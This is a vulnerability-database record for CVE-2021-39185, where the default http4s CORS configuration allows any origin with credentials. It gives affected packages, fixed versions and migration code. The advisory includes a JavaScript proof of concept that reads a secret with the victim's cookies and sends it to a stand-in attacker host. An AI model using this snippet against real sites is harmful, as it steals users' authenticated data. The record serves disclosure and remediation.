{"id":"CVE-2021-39185","aliases":["GHSA-52cf-226f-rhr6"],"url":"https://o3.security/vulnerability/CVE-2021-39185","summary":"Default CORS config allows any origin with credentials","details":"### Impact\n\n#### Origin reflection attack\n\nThe default CORS configuration is vulnerable to an origin reflection attack.  Take the following http4s app `app`, using the default CORS config, running at https://vulnerable.example.com:\n\n```scala\nval routes: HttpRoutes[F] = HttpRoutes.of {\n  case req if req.pathInfo === \"/secret\" =>\n    Response(Ok).withEntity(password).pure[F]\n}\nval app = CORS(routes.orNotFound)\n```\n\nThe following request is made to our server:\n\n```http\nGET /secret HTTP/1.1\nHost: vulnerable.example.com\nOrigin: https://adversary.example.net\nCookie: sessionId=...\n```\n\nWhen the `anyOrigin` flag of `CORSConfig` is `true`, as is the case in the default argument to `CORS`, the middleware will allow sharing its resource regardless of the `allowedOrigins` setting.  Paired with the default `allowCredentials`, the server approves sharing responses that may have required credentials for sensitive information with any origin:\n\n```http\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: https://adversary.example.org\nAccess-Control-Allow-Credentials: true \nContent-Type: text/plain\n\np4ssw0rd\n```\n\nA malicious script running on `https://adversary.example.org/` can then exfiltrate sensitive information with the user's credentials to `vulnerable.exmaple.org`:\n\n```javascript\nvar req = new XMLHttpRequest(); \nreq.onload = reqListener; \nreq.open('get','https://vulnerable.example.org/secret',true); \nreq.withCredentials = true;\nreq.send();\n\nfunction reqListener() {\n    location='//bad-people.example.org/log?key='+this.responseText; \n};\n```\n\n#### Null origin attack\n\nThe middleware is also susceptible to a Null Origin Attack.  A user agent may send `Origin: null` when a request is made from a sandboxed iframe.  The CORS-wrapped http4s app will respond with `Access-Control-Allow-Origin: null`, permitting a similar exfiltration of secrets to the above.\n\n### Patches\n\nThe problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25.  The original `CORS` implementation and `CORSConfig` are deprecated.  In addition to the origin vulnerability, the following deficiencies in the deprecated version are fixed in the new signatures:\n\n### Migration\n\nThe `CORS` object exposes a default `CORSPolicy` via `CORS.policy`.  This can be configured with various `with*` methods, like any http4s builder.  Finally, the `CORSPolicy` may be applied to any `Http`, like any other http4s middleware:\n\n```scala\nval routes: HttpRoutes[F] = ???\nval cors = CORS.policy\n  .withAllowOriginAll\n  .withAllowCredentials(false)\n  .apply(routes)\n```\n\n### Workarounds\n\nIt is possible to be safe in unpatched versions, but note the following defects exist:\n\n* The `anyMethod` flag, enabled by default, accepts methods that cannot be enumerated in the `Access-Control-Allow-Methods` preflight response.\n* Rejected CORS requests receive a `403` response, when the client should be the enforcement point. The server should just omit all CORS response headers.\n* Does not send `Vary: Access-Control-Request-Headers` on preflight requests. This may confuse caches.\n* Does not validate the `Access-Control-Request-Headers` of a preflight request. This validation is not mandated by the Fetch standard, but is typical of most server implementations.\n* Needlessly sends `Vary: Access-Control-Request-Method` on non-preflight requests.  This should be harmless in practice.\n* Needlessly sends `Access-Control-Max-Age` header on non-preflight requests.  This should be harmless in practice.\n* Sends an invalid `Access-Control-Allow-Credentials: false` instead of omitting the header.  This should be harmless in practice.\n\n#### Explicit origins\n\nIn versions before the patch, set `anyOrigin` to `false`, and then specifically include trusted origins in `allowedOrigins`.\n\n##### 0.21.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval config = CORS.DefaultConfig.copy(\n  anyOrigin = false,\n  allowOrigins = Set(\"http://trusted.example.com\")\n)\nval cors = CORS(routes, config)\n```\n\n###### 0.22.x, 0.23.x, 1.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval config = CORSConfig.default\n  .withAnyOrigin(false)\n  .withAllowedOrigins(Set(\"http://trusted.example.com\"))\nval cors = CORS(routes, config)\n```\n\n#### Disable credentials\n\nAlternatively, sharing responses tainted by credentials can be deprecated.\n\n##### 0.21.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval config = CORS.DefaultConfig.copy(allowCredentials = false)\nval cors = CORS(routes, config)\n```\n\n##### 0.22.x, 0.23.x, 1.x\n\n```scala\nval routes: HttpRoutes[F] = ???\nval config = CORSConfig.default.withAllowedCredentials(false)\nval cors = CORS(routes, config)\n```\n\n### References\n* The [MDN guide to CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)\n* [PayloadsAllTheThings CORS misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/6cba7ceda93c3f64559c3e73881c21076536e5fb/CORS%20Misconfiguration/README.md)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [GitHub](http://github.com/http4s/http4s)\n* Contact us via the [http4s security policy](https://github.com/http4s/http4s/security/policy)","published":"2021-09-01T20:15:07.447Z","modified":"2026-07-09T10:52:20.589461Z","cvss":{"score":9.1,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Maven","name":"org.http4s:http4s-server_2.13.0-M5","fixedVersion":null},{"ecosystem":"Maven","name":"org.http4s:http4s-server_3","fixedVersion":"0.22.3"},{"ecosystem":"Maven","name":"org.http4s:http4s-server_3","fixedVersion":"0.23.2"},{"ecosystem":"Maven","name":"org.http4s:http4s-server_2.10","fixedVersion":null},{"ecosystem":"Maven","name":"org.http4s:http4s-server_2.11","fixedVersion":null},{"ecosystem":"Maven","name":"org.http4s:http4s-server_2.12","fixedVersion":"0.21.27"},{"ecosystem":"Maven","name":"org.http4s:http4s-server_2.12","fixedVersion":"0.22.3"},{"ecosystem":"Maven","name":"org.http4s:http4s-server_2.12","fixedVersion":"0.23.2"},{"ecosystem":"Maven","name":"org.http4s:http4s-server_2.13","fixedVersion":"0.21.27"},{"ecosystem":"Maven","name":"org.http4s:http4s-server_2.13","fixedVersion":"0.22.3"},{"ecosystem":"Maven","name":"org.http4s:http4s-server_2.13","fixedVersion":"0.23.2"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/http4s/http4s/releases/tag/v0.23.2"},{"type":"FIX","url":"https://github.com/http4s/http4s/security/advisories/GHSA-52cf-226f-rhr6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-39185"},{"type":"PACKAGE","url":"https://github.com/http4s/http4s"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-09T10:52:20.589461Z"}}